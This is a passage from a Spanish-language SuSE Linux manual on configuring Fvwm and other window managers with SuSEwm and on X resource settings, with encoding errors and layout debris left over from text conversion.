  17668.                     Fichero 9.4.4: Iconos para determinadas ventanas
  17669.  
  17670.  
  17671.  
  17672. Iconos
  17673.  
  17674. Los iconos se definen de la forma como lo indica el fichero 9.4.4.
  17675.  
  17676. En  esta  secci≤n  se  puede  asignar  un  icono  a  las  correspondientes  aplica-
  17677. ciones.   Lo  ·nico  que  se  debe  tener  en  cuenta  es  que  el  icono  se  encuen-
  17678. tre en el IconPath         (la rama que apunta a los iconos),  que se define en las
  17679. primeras lφneas del fichero ~/.fvwm2rc. En principio se puede usar cualquier
  17680. icono  de  cualquiera  de  las  ramas  mencionadas  por  detrßs  del  denominador
  17681. PixmapPath          .
  17682.  
  17683. Si un icono se encuentra en un directorio fuera de la rama mencionada, tendrφa
  17684. que indicar el nombre completo de este directorio.
  17685.  
  17686. En el caso de querer dar a GhostView un fantasma como icono, en la rama de
  17687. iconos encontrarß uno con el nombre ghostbusters.xpm.  En este caso, se
  17688. a±ade la siguiente lφnea al pßrrafo:
  17689.  
  17690.       Style     "ghostview"     Icon  ghostbusters.xpm
  17691.  
  17692. íYa estß! De esta forma se pueden indicar los iconos para prßcticamente todas
  17693. las aplicaciones, pero la mayorφa ya tiene sus iconos estßndar.  En todo caso,
  17694. se necesita saber el nombre correcto de la aplicaci≤n (mßs exacto: el nombre
  17695. de la ventana de la aplicaci≤n,  ya que indicar xTerm      en lugar de xterm      no
  17696. funcionarφa).   íAl  fin  y  al  cabo  el  gestor  de  ventanas  administra  ventanas!
  17697. Para conocer el nombre de una ventana se entra desde el men· `Windowman-
  17698. ager'  !  `Modules'  a  `Ident'  (Nombre  de  programa  FvwmIdent )  y  se
  17699. selecciona la ventana.
  17700.  
  17701.  
  17702. Cursor
  17703.  
  17704. Con el programa xsetroot es posible modificar la apariencia del cursor y (con
  17705. ciertas restricciones) la imagen de fondo. El programa se inicia con:
  17706.  
  17707.       tux@tierra:  >  xsetroot  -cursor  <bitmapfile>
  17708.  
  17709. Aquφ <bitmapfile>              representa un ''bitmap'' de libre elecci≤n. Los bitmaps
  17710. se  encuentran  por  defecto  en  /usr/X11R6/include/X11/bitmaps.    Se
  17711. puede seleccionar uno a su gusto o crear uno propio, p. ej.  con bitmap .
  17712.  
  17713.  
  17714. Focus (Enfoque)
  17715.  
  17716. Una caracterφstica especialmente estimada de la familia de los Fvwm,  es la
  17717. posibilidad  de  modificar  en  tiempo  de  ejecuci≤n  el  comportamiento  de  las
  17718. ventanas al cambiar la ventana activa.  TambiΘn se puede guardar permanen-
  17719. temente en el fichero de configuraci≤n el comportamiento respecto a ''Focus''
  17720. y a ''Raising''.
  17721.  
  17722.  
  17723.                                                                                                                                    *
  17724.  *   275
  17725. 9.  El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
  17726.  *_______________________________________@
  17727.  
  17728.  
  17729.  
  17730.                            Se denomina ''Enfoque'' a la propiedad del windowmanager de pasar las en-
  17731.                            tradas y clicks de mouse actuales hacia una determinada ventana.  Para ello
  17732.                            existen 3 posibilidades:
  17733.  
  17734.                              o   Se debe seleccionar una ventana con un click de mouse, para pasar p. ej.
  17735.                                  con el teclado, comandos al proceso que se visualiza en ella.  Este com-
  17736.                                  portamiento es el estßndar en Windows u OS/2 y se llama en inglΘs Click
  17737.                                  to focus.
  17738.                              o   Desplazando  la  flecha  del  mouse  sobre  una  ventana,  Θsta  se  activa  au-
  17739.                                  tomßticamente.  Este comportamiento se denomina Focus follows mouse.
  17740.                                  Si la flecha del mouse sale de la ventana, Θsta se desactiva; tambiΘn es asφ
  17741.                                  cuando la flecha se encuentra sobre el fondo.
  17742.                              o   Una variaci≤n avanzada es el comportamiento Sloppy Focus que ofrecen
  17743.                                  el Fvwm y el Fvwm95. En esta variante, el enfoque se comporta igual que
  17744.                                  el Focus follows mouse, con la diferencia que el enfoque (la activaci≤n) se
  17745.                                  queda con la ventana hasta que se selecciona otra, o sea que, el enfoque
  17746.                                  se queda con la ventana tambiΘn cuando el puntero estß sobre el fondo.
  17747.  
  17748.                            El Fvwm permite configurar el comportamiento de activaci≤n (enfoque) para
  17749.                            cada  ventana  por  separado.  Como  muchos  otros  ajustes,  el  del  enfoque  se
  17750.                            realiza con un comando ''Style''; el siguiente define el comportamiento como
  17751.                            ClickToFocus            para todas las ventanas:
  17752.                                  Style  "*"  ClickToFocus
  17753.  
  17754.                            De la misma forma se definen SloppyFocus           y FocusFollowsMouse               , siendo
  17755.                            esta ·ltima la configuraci≤n predeterminada de Fvwm.
  17756.  
  17757.  
  17758.                            9.4.1      Autoraise
  17759.  
  17760.                            Aparte de ''focus'' tambiΘn es interesante el comportamiento de ''raising'', que
  17761.                            determina cußndo una ventana se coloca en primer plano. El comportamiento
  17762.                            predeterminado es el de mantener siempre la posici≤n en relaci≤n a las demßs
  17763.                            ventanas (es decir: por detrßs o por delante). Con un click del mouse sobre el
  17764.                            borde o sobre la barra de tφtulo, la ventana pasa al primer plano.
  17765.  
  17766.                            Algunos  usuarios  estßn  acostumbrados  a  que  la  ventana  pase  al  primer
  17767.                            plano  cuando  el  puntero  del  mouse  estß  sobre  ella,  comportamiento  de-
  17768.                            nominado  ''AutoRaising''.    Solo  tiene  sentido  activarlo  en  combinaci≤n
  17769.                            con  FocusFollowsMouse                o  SloppyFocus          ,  ya  que  no  tiene  efecto  cuando
  17770.                            ClickToFocus            estß activado (la configuraci≤n por defecto de Fvwm95).
  17771.  
  17772.                            Para  activar  AutoRaising  se  puede  iniciar  el  m≤dulo  AutoRaise  del  Fvwm
  17773.                            desde   el   men·,   con:    `Window  Manager',   `Modules',   `AutoRaise
  17774.                            On/Off'.  Para que se active permanentemente hace falta poner en el fichero
  17775.                            de configuraci≤n del Fvwm2 una entrada para la funci≤n InitFunction             y
  17776.                            otra para RestartFunction              :
  17777.                                  Function  InitFunction
  17778.                                     +     "I"     Module    FvwmAuto  200
  17779.  
  17780.  
  17781.                                  Function  RestartFunction
  17782.                                     +     "I"     Module    FvwmAuto  200
  17783.  
  17784.                            El  valor  200    indica  el  tiempo  de  espera  en  milisegundos  antes  de  pasar  la
  17785.                            ventana al primer plano.  Este tiempo de espera es muy razonable ya que sin
  17786.  
  17787.  
  17788. 276
  17789.        ________________________________________________9.5.__Configuraci≤n_del_windowmanager_con_SuSEwm____________________________*
  17790.  *______________________
  17791.  
  17792.  
  17793.  
  17794. Θl cualquier ventana ''tocada'' pasarφa inmediatamente al primer plano, lo que
  17795. puede provocar un continuo parpadeo :-)
  17796.  
  17797.  
  17798. 9.5       Configuraci≤n del windowmanager con SuSEwm
  17799.  
  17800.  
  17801. ┐QuΘ representa SuSEwm ?
  17802.  
  17803. El  programa  susewm  (paquete  susewm)  simplifica  la  configuraci≤n  de  los
  17804. gestores de ventana (ingl. windowmanager) Fvwm1 , Fvwm , Fvwm95 , Bow-
  17805. man , AfterStep , Ctwm , WindowMaker , Mwm 2  y tambiΘn de los escritorios
  17806. KDE  y GNOME .
  17807.  
  17808. Ya que Fvwm1, Fvwm 95, Bowman y AfterStep estßn basados en el mismo
  17809. gestor de ventanas, estos gestores se configuran de forma parecida y ofrecen
  17810. caracterφsticas similares.
  17811.  
  17812. SuSEwm  ofrece un lenguaje abstracto de macros en el que se reunen todas
  17813. las posibilidades de configuraci≤n de todos los gestores de ventana.  De esta
  17814. forma, el usuario no tiene que administrar cinco diferentes ficheros de config-
  17815. uraci≤n y puede disfrutar de todas las posibilidades de los gestores de ventana
  17816. sin necesidad de conocer las diferencias individuales entre ellos.
  17817.  
  17818. susewm configura incluso los windowmanager Ctwm , Mwm y WindowMak-
  17819. er , el kpanel del entorno KDE y el panel del entorno GNOME, que son todos
  17820. completamente diferentes.  No se pueden configurar los men·s de estos WM
  17821. directamente desde el men· principal (como es p. ej.  el caso del Fvwm), sino
  17822. que se generan siempre para todo el sistema mediante SuSEconfig        .
  17823.  
  17824. Las  diferencias  de  configuraci≤n  se  abarcan  mediante  entradas  especφfi-
  17825. cas  para  acceder  a  las  posibilidades  particulares  del  gestor  de  ventanas  en
  17826. cuesti≤n.
  17827.  
  17828. SuSEwm  configura los men·s con los programas y los m≤dulos soportados
  17829. por el gestor de ventanas, en funci≤n de los paquetes de software realmente
  17830. instalados. No se generan entradas en el men· de acceso directo para progra-
  17831. mas que no lo estΘn.
  17832.  
  17833. Otras caracterφsticas especiales de SuSEwm son:
  17834.  
  17835.   o   Posibilidad de configuraci≤n de diez gestores de ventana o entornos de es-
  17836.       critorio:  Fvwm , Fvwm1 , Fvwm95 , Bowman , AfterStep , Ctwm , Mwm ,
  17837.       WindowMaker , GNOME Panel  y KDE Panel .
  17838.  
  17839.   o   Un  directorio  central  de  librerφas  para  todos  los  gestores  de  ventana  y,
  17840.       macros uniformes, para los distintos ficheros de configuraci≤n.
  17841.  
  17842.   o   Ficheros de configuraci≤n adicionales para los distintos gestores de ven-
  17843.       tana, para respetar sus particularidades.
  17844.  
  17845.   o   Consideraci≤n de ficheros de configuraci≤n adicionales para los gestores
  17846.       de  ventana.   Ademßs  se  consideran  las  variables  en  /etc/rc.config
  17847.       para la configuraci≤n global.
  17848.  
  17849.   o   Consideraci≤n de ficheros fuente de los usuarios durante la configuraci≤n
  17850.       automßtica,_en_el_directorio_de_usuario._____________
  17851. 2  El gestor de ventanas MWM forma parte de Motif (comercial); el paquete lesstif contiene
  17852. una versi≤n libre.
  17853.  
  17854.  
  17855.                                                                                                                                    *
  17856.  *   277
  17857. 9.  El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
  17858.  *_______________________________________@
  17859.  
  17860.  
  17861.  
  17862.                              o   Generaci≤n  de  ficheros  de  configuraci≤n  especφficos  para  los  usuarios,
  17863.                                  considerando  ampliamente  las  modificaciones  (de  ficheros  de  configu-
  17864.                                  raci≤n antiguos) hechas por el usuario.
  17865.  
  17866.                              o   Incorporaci≤n de programas comerciales de amplia difusi≤n a la hora de
  17867.                                  generar los men·s, aunque estos no formen parte de SuSE     Linux.
  17868.  
  17869.                              o   Cambio  arbitrario  entre  los  windowmanager  soportados  en  tiempo  de
  17870.                                  ejecuci≤n  sin  necesidad  de  modificar  scripts  de  arranque,  como  p. ej.
  17871.                                  ~/.xinitrc; funciona si el gestor de ventana lo permite.
  17872.  
  17873.  
  17874.                            9.5.1      A±adir opciones al men·
  17875.  
  17876.                            Para a±adir opciones al men· de SuSE    , hace falta generar un fichero tal como
  17877.                            lo muestra el fichero de ejemplo 9.5.1.
  17878.  
  17879.                            ________________________________________________________________________________________________________*
  17880.  *________||
  17881.                            | Name=Printer                                                                                          *
  17882.  *         |
  17883.                            | Name[es]=Impresora                                                                                    *
  17884.  *         |
  17885.                            | Comment=Show  all  printers                                                                           *
  17886.  *         |
  17887.                            | Comment[es]=Mostar  todas  las  impresoras.                                                           *
  17888.  *         |
  17889.                            | Exec=klp                                                                                              *
  17890.  *         |
  17891.                            |                                                                                                       *
  17892.  *         |
  17893.                            | MiniIcon=printer.xpm                                                                                  *
  17894.  *         |
  17895.                            | Icon=printer.xpm                                                                                      *
  17896.  *         |
  17897.                            | Type=Application                                                                                      *
  17898.  *         |
  17899.                            |_______________________________________________________________________________________________________*
  17900.  *________ |
  17901.  
  17902.                                    Fichero 9.5.1: Fichero .lnk     del SuSEwm para opciones del men·
  17903.  
  17904.  
  17905.                            Muy importantes son las entradas para Name[...]         y Exec    , ya que las demßs
  17906.                            son opcionales.  Indicando Type=TEXT         , todos los programs se ejecutarßn en
  17907.                            un terminal.
  17908.  
  17909.                            Hay  que  seguir  una  nomenclatura,  para  que  la  entrada  se  genere  correcta-
  17910.                            mente:   <paquete>.<bin>.lnk                      debe  ser  el  nombre  del  fichero,  donde
  17911.                            <packet> indica el nombre del paquete RPM que contiene el programa en
  17912.                            cuesti≤n.  Si  el  programa  no  se  ha  instalado  mediante  un  paquete  RPM,  es
  17913.                            posible  indicar  <susewm>.   <bin>  puede  ser  cualquier  cadena  de  carac-
  17914.                            teres, normalmente el nombre del programa o una abreviaci≤n. Por lo demßs
  17915.                            el nombre de fichero debe terminar en .lnk.El fichero mismo se copia aden-
  17916.                            tro de un directorio por debajo de /etc/X11/susewm/AddEntrys. La nueva
  17917.                            opci≤n aparece en el sub-men· que corresponde al directorio en el cual se ha
  17918.                            guardado el fichero.
  17919.  
  17920.  
  17921.  
  17922.                            ┐C≤mo usar SuSEwm ?
  17923.  
  17924.                            Normalmente  YaST  inicia  SuSEwm  despuΘs  de  la  instalaci≤n  de  paquetes
  17925.                            y se encarga de adaptar todas las configuraci≤n al nivel de todo el sistema.
  17926.                            Como usuario se usa SuSEwm en dos casos:
  17927.  
  17928.  
  17929.                              o   Si a·n no tiene ning·n fichero de configuraci≤n de un windowmanager,
  17930.                                  pero desea generar uno para configurar un entorno de trabajo propio in-
  17931.                                  dependiente del entorno al nivel de todo el sistema.
  17932.  
  17933.                              o   Ya tiene un fichero de configuraci≤n para el windowmanager pero ha in-
  17934.                                  stalado o ha quitado programas con YaST  y los men·s ya no concuerdan.
  17935.  
  17936.  
  17937. 278
  17938.        ________________________________________________9.5.__Configuraci≤n_del_windowmanager_con_SuSEwm____________________________*
  17939.  *______________________
  17940.  
  17941.  
  17942.  
  17943. Requisitos
  17944. Se supone lo siguiente:
  17945.  
  17946.  
  17947.  
  17948.   o   Ha  entrado  al  sistema  como  usuario  normal  (p. ej.   usando  el  usuario
  17949.       de ejemplo que se genera instalando con YaST ), no como superusuario
  17950.       `root'.
  17951.  
  17952.   o   En  YaST  se  ha  configurado  English       como  idioma  del  men·;  para  los
  17953.       men·s en otros idiomas todo es similar.
  17954.  
  17955.  
  17956. Ahora el c≤mo:  Haciendo un click con el bot≤n izquierdo del mouse sobre
  17957. el  fondo  (ingl.  root  window)  se  abre  un  men·.   Es  algo  que  solo  funciona
  17958. con un windowmanager para el cual SuSEwm es capaz de generar un fichero
  17959. de configuraci≤n propio dentro del directorio HOME ~ p. ej. funciona con los
  17960. windowmanager  de  la  familia  Fvwm.   El  men·  que  aparece  tiene  el  tφtulo
  17961. `Work  menu' y contiene los programas de uso mßs frecuente (depende del
  17962. punto de vista) en el mundo Unix.
  17963.  
  17964. La ·ltima opci≤n en este men· (`Window  Manager') contiene un sub-men·
  17965. con  opciones  que  permiten  modificar  la  configuraci≤n  del  windowmanager
  17966. en  ejecuci≤n.   Si  lo  que  se  desea  es  modificar  otro  windowmanager,  debe
  17967. cambiarse primero a este `Other  window  managers'. Una de las opciones
  17968. se llama `Create  configuration  file' y contiene una entrada para cada
  17969. idioma posible, que permite generar para el windowmanager en ejecuci≤n un
  17970. fichero de configuraci≤n dentro del directorio HOME.
  17971.  
  17972. Estas  opciones  se  visualizan  en  la  figura  9.10  en  la  pßgina  siguiente,  que
  17973. muestra el `Work  menu' de Fvwm .
  17974.  
  17975. Seleccionando la segunda o la tercera opci≤n aparecerß una ventana en la cual
  17976. se ejecuta mksusewmrc  (este programa forma parte del paquete SuSEwm ).
  17977. Repase el texto que aparece en pantalla y pulse los botones correspondientes
  17978. cuando el programa lo pida.
  17979.  
  17980. íYa  estß!   Ahora  se  puede  modificar  a  gusto  propio  el  fichero  de  configu-
  17981. raci≤n reciΘn generado.  susewm  incorporarß estas modificaciones al fichero
  17982. de configuraci≤n en cuanto se inicie la pr≤xima vez.  SuSEwm  crea ademßs
  17983. un  fichero  con  la  extensi≤n  .orig  que  no  se  debe  modificar  para  que  los
  17984. cambios tengan efecto.
  17985.        _______________________________________________________________________________________________________________________||
  17986.        ||||||||  Si no se desea modificar demasiado el escritorio, se debe generar primero                      |||            |
  17987.        ||||||||  el fichero de configuraci≤n como se ha explicado antes y despuΘs modifi-                       ||             |
  17988.        ||||||||                                                                                                 ||             |
  17989.        ||||||||  carlo.                                                                                         ||             |
  17990.        ||||||||                                                                                                 ||             |
  17991.        ||||||||  Si por el contrario, la idea es hacer un fichero de configuraci≤n completa-                    ||             |
  17992.        ||||||||  mente nuevo, no use SuSEwm .                                                                   ||             |
  17993.        ||||||||_______________________________________________________________________________________________________________||_
  17994.  
  17995.  
  17996. Un ejemplo
  17997.  
  17998. Un escritorio con mucho color es bonito pero quizßs no sea muy prßctico si
  17999. el hardware (memoria,  procesador,  disco duro) no da abasto.  Un gestor de
  18000. ventana no deberφa ocupar todos los recursos del sistema si se usa p. ej.  una
  18001. cantidad excesiva de iconos e incluso si son animados.
  18002.  
  18003.  
  18004.                                                                                                                                    *
  18005.  *   279
  18006. 9.  El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
  18007.  *_______________________________________@
  18008.                            |                                                                                                       *
  18009.  *         |
  18010.                            ________________________________________________________________________________________________________*
  18011.  *________||||
  18012.                            |                                                                                                       *
  18013.  *         |
  18014.                            ||                                                                                                      *
  18015.  *         ||
  18016.                            |                                                                                                       *
  18017.  *         |
  18018.                            |                                                                                                       *
  18019.  *         |
  18020.                            |                                                                                                       *
  18021.  *         |
  18022.                            |                                                                                                       *
  18023.  *         |
  18024.                            |                                                                                                       *
  18025.  *         |
  18026.                            |                                                                                                       *
  18027.  *         |
  18028.                            |                                                                                                       *
  18029.  *         |
  18030.                            |                                                                                                       *
  18031.  *         |
  18032.                            |                                                                                                       *
  18033.  *         |
  18034.                            |                                                                                                       *
  18035.  *         |
  18036.                            |                                                                                                       *
  18037.  *         |
  18038.                            |                                                                                                       *
  18039.  *         |
  18040.                            |                                                                                                       *
  18041.  *         |
  18042.                            |                                                                                                       *
  18043.  *         |
  18044.                            |                                                                                                       *
  18045.  *         |
  18046.                            |                                                                                                       *
  18047.  *         |
  18048.                            |                                                                                                       *
  18049.  *         |
  18050.                            |                                                                                                       *
  18051.  *         |
  18052.                            |                                                                                                       *
  18053.  *         |
  18054.                            |                                                                                                       *
  18055.  *         |
  18056.                            |                                                                                                       *
  18057.  *         |
  18058.                            |                                                                                                       *
  18059.  *         |
  18060.                            |                                                                                                       *
  18061.  *         |
  18062.                            |                                                                                                       *
  18063.  *         |
  18064.                            |                                                                                                       *
  18065.  *         |
  18066.                            |                                                                                                       *
  18067.  *         |
  18068.                            |                                                                                                       *
  18069.  *         |
  18070.                            |                                                                                                       *
  18071.  *         |
  18072.                            |                                                                                                       *
  18073.  *         |
  18074.                            |                                                                                                       *
  18075.  *         |
  18076.                            |_______________________________________________________________________________________________________*
  18077.  *________ |
  18078.  
  18079.                                 Figura 9.10: La vφa de entrada a la configuraci≤n del windowmanager
  18080.  
  18081.  
  18082.  
  18083.                            Por lo tanto, si la computadora va lenta cuando se inicia Fvwm  o Fvwm95 ,
  18084.                            lo mßs probable es que sea por los varios centenares de iconos presentes en
  18085.                            los men·s que se cargan uno por uno. Para remediarlo hay tres opciones:
  18086.  
  18087.  
  18088.                              o   En  el  men·  de  YaST  `Administraci≤n  del  sistema',  `Cambiar
  18089.                                  archivo  de  configuraci≤n' poner SUSEWM_XPM=no            . Si se ha cambi-
  18090.                                  ado el valor de esta variable directamente en el fichero /etc/rc.config,
  18091.                                  se debe ejecutar despuΘs SuSEconfig         .
  18092.  
  18093.                              o   Desinstalar  el  paquete  3dpixms  y  si  se  puede  prescindir  de  los  iconos
  18094.                                  grandes, desinstalar tambiΘn el paquete 3dpixm.
  18095.  
  18096.                              o   Quitar los iconos del fichero de configuraci≤n.
  18097.  
  18098.  
  18099.                            La primera opci≤n no precisa comentarios adicionales.
  18100.  
  18101.                            La segunda opci≤n tambiΘn es simple: Iniciar YaST , desinstalar los paquetes
  18102.                            mencionados y punto.  YaST  se encarga junto con SuSEwm  y SuSEconfig
  18103.                            de  adaptar  el  fichero  de  configuraci≤n  global  del  windowmanager.   Si  se
  18104.                            tiene un fichero de configuraci≤n personal, hace falta realizar la actualizaci≤n
  18105.                            explφcitamente; para ello puede valerse del men· del windowmanager como
  18106.                            se explica en en la pßgina 278┐C≤mo usar SuSEwm ?subsection.9.5.1.
  18107.  
  18108.                            La primera opci≤n no precisa comentarios adicionales.
  18109.  
  18110.                            La tercera opci≤n: Si a·n no dispone de un fichero de configuraci≤n personal,
  18111.                            puede  generarlo  tal  como  se  ha  explicado  en  el  apartado  9.5.1  en  la  pßgi-
  18112.                            na 278┐C≤mo usar SuSEwm ?subsection.9.5.1. DespuΘs se deben reemplazar
  18113.  
  18114.  
  18115. 280
  18116.        ______________________________________________________9.6.__Configuraci≤n_general_del_sistema_X_Window______________________*
  18117.  *______________________
  18118.  
  18119.  
  18120.  
  18121. todas las entradas de men· que contienen referencias a iconos, como lo mues-
  18122. tra el fichero 9.5.2;  la situaci≤n inicial que muestra el fichero 9.5.2 se debe
  18123. modificar seg·n el ejemplo en el fichero 9.5.3.
  18124.  
  18125.        _______________________________________________________________________________________________________________________||
  18126.        ||||||||                                                                                                                |
  18127.        ||||||||    AddToMenu  thiswmpopup  "Fvwm2"     Title                                                                   |
  18128.        ||||||||                                                                                                                |
  18129.        ||||||||                                                                                                                |
  18130.        ||||||||    +  "Other  windowmanager%small.warning_3d.xpm%"     Popup  otherwmpopup                                     |
  18131.        ||||||||    +  "Configuration%small.checklist2_3d.xpm%"          Popup  susewmpopup                                     |
  18132.        ||||||||    +  ""                                                                    Nop                                |
  18133.        ||||||||    +  "Fvwm2  Restart%small.restart_suse_3d.xpm%"      Restart  fvwm2                                          |
  18134.        ||||||||                                                                                                                |
  18135.        ||||||||    +  "Exit  Fvwm2  and  X%small.exit.xpm%"                   Function  QuitSave                               |
  18136.        ||||||||                                                                                                                |
  18137.        ||||||||    #  end  popup  thiswmpopup                                                                                  |
  18138.        ||||||||                                                                                                                |
  18139.        ||||||||_______________________________________________________________________________________________________________ |
  18140.  
  18141.                    Fichero 9.5.2: .fvwm2rc         con iconos para los men·s
  18142.  
  18143.  
  18144.        _______________________________________________________________________________________________________________________||
  18145.        ||||||||                                                                                                                |
  18146.        ||||||||    AddToMenu  thiswmpopup  "Fvwm2"     Title                                                                   |
  18147.        ||||||||                                                                                                                |
  18148.        ||||||||                                                                                                                |
  18149.        ||||||||    +  "Other  windowmanager"     Popup  otherwmpopup                                                           |
  18150.        ||||||||    +  "Configuration"              Popup  susewmpopup                                                          |
  18151.        ||||||||    +  ""                                  Nop                                                                  |
  18152.        ||||||||    +  "Fvwm2  Restart"              Restart  fvwm2                                                             |
  18153.        ||||||||                                                                                                                |
  18154.        ||||||||    +  "Exit  Fvwm2  and  X"          Function  QuitSave                                                        |
  18155.        ||||||||                                                                                                                |
  18156.        ||||||||    #  end  popup  thiswmpopup                                                                                  |
  18157.        ||||||||                                                                                                                |
  18158.        ||||||||_______________________________________________________________________________________________________________ |
  18159.  
  18160.                    Fichero 9.5.3: .fvwm2rc         sin iconos para los men·s
  18161.  
  18162.  
  18163. Con esta preparaci≤n, el Fvwm y el Fvwm95  deberφan iniciarse bastante mßs
  18164. rßpido.   Para  que  las  modificaciones  del  fichero  de  configuraci≤n  personal
  18165. sean permanentes, inicie nuevamente SuSEwm .
  18166.  
  18167.  
  18168. 9.6       Configuraci≤n general del sistema X Window
  18169.  
  18170. Ahora es el momento de preocuparse del aspecto ≤ptico y de las funciones
  18171. del escritorio ~ por quΘ quedarse con la configuraci≤n por defecto si existe la
  18172. posibilidad de adaptar todo a sus necesidades.
  18173.  
  18174. Existen dos posibilidades para tocar la configuraci≤n:
  18175.  
  18176.   o   Los ajustes previos para las aplicaciones del sistema X Window
  18177.   o   El o los ficheros de configuraci≤n del windowmanager, presentados en en
  18178.       la pßgina 272Ficheros de configuraci≤n del Fvwmsection.9.3.
  18179.  
  18180.  
  18181. Ajustes previos de aplicaciones del sistema X Window
  18182.  
  18183.  
  18184. Ajustes globales
  18185.  
  18186. Prßcticamente todas las aplicaciones programadas para el sistema X Window
  18187. tienen  una  configuraci≤n  por  defecto.   Esta  se  encuentra  en  un  fichero  que
  18188. pertenece a la aplicaci≤n y que se copia durante la instalaci≤n, generalmente
  18189. al directorio /usr/X11R6/lib/X11/app-defaults.  En este directorio se
  18190.  
  18191.  
  18192.                                                                                                                                    *
  18193.  *   281
  18194. 9.  El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
  18195.  *_______________________________________@
  18196.  
  18197.  
  18198.  
  18199.                            encuentran  ficheros  como  Xarchie,  que  como  ya  lo  indica  su  nombre,  se
  18200.                            trata  del  fichero  de  configuraci≤n  central  del  programa  xarchie .   Mirando
  18201.                            el fichero p. ej.  con el comando less  Xarchie            (ver Abschnitt 19.7.3 en la
  18202.                            pßgina 474El contenido de los ficherossubsection.19.7.3), se podrß ver lφneas
  18203.                            como la siguiente:
  18204.                                  Xarchie.color*background:  powder  blue
  18205.  
  18206.                            No hay que asustarse por las lφneas un poco crφpticas y tampoco hace falta
  18207.                            entender directamente todos los comandos. Cada programa desarrollado para
  18208.                            el  sistema  X  Window  estß  formado  por  ''widgets''.   Hay  que  entender  un
  18209.                            widget como un elemento de construcci≤n.
  18210.  
  18211.                            Se  distingue  un  widget-principal  que  representa  la  ventana  principal  de  la
  18212.                            aplicaci≤n que se evoca primero.  Los demßs widgets son ''hijos'' de Θste, lo
  18213.                            que significa que cada widget tiene exactamente un ''antecesor'' y ninguno,
  18214.                            uno o varios ''descendientes''; cada widget recibe un nombre ·nico.
  18215.  
  18216.                            No  se  debe  confundir  ventanas  con  widgets;  p. ej.  una  barra  de  desplaza-
  18217.                            miento (ingl. scrollbar) es una ventana propia (una ventana sin ninguna deco-
  18218.                            raci≤n), mientras que un widget se forma p. ej.  de una barra de desplazamien-
  18219.                            to, un campo con texto y mßs (serφa un widget complejo).
  18220.  
  18221.                            Como los widgets se despliegan en forma de ßrbol, se habla tambiΘn de un
  18222.                            ßrbol de widgets en el cual cada ventana tiene un nombre determinado.  Por
  18223.                            lo tanto, es posible acceder a cualquier ventana de un programa a travΘs de su
  18224.                            nombre.
  18225.  
  18226.                            A continuaci≤n el significado de la lφnea de comando anterior:
  18227.  
  18228.                              o   La primera palabra hasta el punto (Xarchie       ) es el nombre del toplevel-
  18229.                                  widget  (widget-principal)  de  la  aplicaci≤n  xarchie  (los  nombres  de  las
  18230.                                  configuraciones  por  defecto  que  son  generales  para  todos  los  widgets,
  18231.                                  comienzan por regla general con may·scula).
  18232.                              o   DespuΘs del punto sigue `color' que evidentemente representa el color.
  18233.                              o   A continuaci≤n viene un asterisco, que tambiΘn podrφa ser un punto:
  18234.  
  18235.                                  ~   Un punto significa que, en cuanto a la jerarquφa, no hay ninguna ven-
  18236.                                      tana entre estas dos.
  18237.  
  18238.                                  ~   Un asterisco indica que puede haber una o varias ventanas entre ellas.
  18239.  
  18240.                              o   La palabra ''background'' indica finalmente el cambio de color.  Se puede
  18241.                                  indicar cualquier color definido. El fichero /usr/X11R6/lib/X11/rgb.
  18242.                                  txt contiene una lista con todos los colores vßlidos en el sistema X Win-
  18243.                                  dow.
  18244.  
  18245.                            Ajustes personalizados
  18246.  
  18247.                            Cada usuario puede ~ por supuesto ~introducir ajustes personalizados.  Para
  18248.                            ello existe en el directorio HOME de cada usuario un fichero ~/.Xresources.
  18249.                            El `.'  por delante del nombre indica que se trata de un fichero ''escondi-
  18250.                            do'';  acerca  de  ficheros  ''escondidos''  vΘase  el  apartado  19.7.4  en  la  pßgi-
  18251.                            na 475Ficheros ocultossubsection.19.7.4.
  18252.  
  18253.                            Este fichero recibe entonces los ajustes personalizados,  que le permiten in-
  18254.                            dicar p. ej. , que todas las ventanas deben tener un fondo amarillo aparte de la
  18255.                            ventana principal, que debe salir en rojo.
  18256.  
  18257.  
  18258. 282
  18259.        ______________________________________________________9.6.__Configuraci≤n_general_del_sistema_X_Window______________________*
  18260.  *______________________
  18261.  
  18262.  
  18263.  
  18264. Volviendo  al  ejemplo  de  arriba,  existe  la  posibilidad  de  sobreescribir  los
  18265. ajustes por defecto de los ficheros globales app-defaults con aquellos he-
  18266. chos en el fichero personal ~/.Xresources; p. ej.  para que en su escritorio
  18267. (ísolo en el suyo!)  la aplicaci≤n xarchie  se inicie con un fondo de color oro,
  18268. escriba la siguiente lφnea en el fichero ~/.Xresources:
  18269.  
  18270.       Xarchie.color*background:  gold
  18271.  
  18272. No  solo  puede  modificar  los  colores  sino  casi  todas  las  propiedades  de  las
  18273. ventanas en su escritorio. Para ello existe un programa muy ·til que se llama
  18274. editres  (ingl. edit resources) que permite visualizar y modificar los recursos
  18275. de una aplicaci≤n.
  18276.  
  18277. A continuaci≤n algunos ajustes a modo de ejemplo, que se pueden definir:
  18278.  
  18279.       Xarchie.color*background:                        powder  blue
  18280.       Xarchie.color*SimpleMenu*background:     wheat
  18281.       Xarchie.color*Command*background:           wheat
  18282.       Xarchie.color*MenuButton*background:     wheat
  18283.       Xarchie.color*Text*background:                wheat
  18284.       Xarchie*font:                                             9x15
  18285.  
  18286. En principio se pueden modificar de esta manera casi todas las propiedades de
  18287. un programa para el sistema X Window, pero en la realidad, los ajustes estßn
  18288. generalmente limitados a los colores, las fuentes de caracteres y la geometrφa
  18289. (posici≤n y tama±o) de la ventana.
  18290.  
  18291. La  Manpage  del  programa  o  el  correspondiente  fichero  en  app-defaults
  18292. muestran por lo general las opciones disponibles.
  18293.  
  18294. El  fichero  /usr/X11R6/lib/X11/rgb.txt  contiene  los  nombres  de  los
  18295. colores  vßlidos  y  los  programas  xfontsel  y  xlsfonts  muestran  las  fuentes
  18296. disponibles.
  18297.  
  18298.  
  18299. Ajustes al inicio de la aplicaci≤n
  18300.  
  18301. La tercera posibilidad para modificar la apariencia de una aplicaci≤n es la de
  18302. pasar parßmetros en el momento del inicio.  Se pueden poner tambiΘn estos
  18303. parßmetros adentro del fichero de configuraci≤n del gestor de ventanas, si es
  18304. que inicia el programa desde este fichero.
  18305.  
  18306. Por  ejemplo,  se  puede  iniciar  explφcitamente  un  programa  usando  un  color
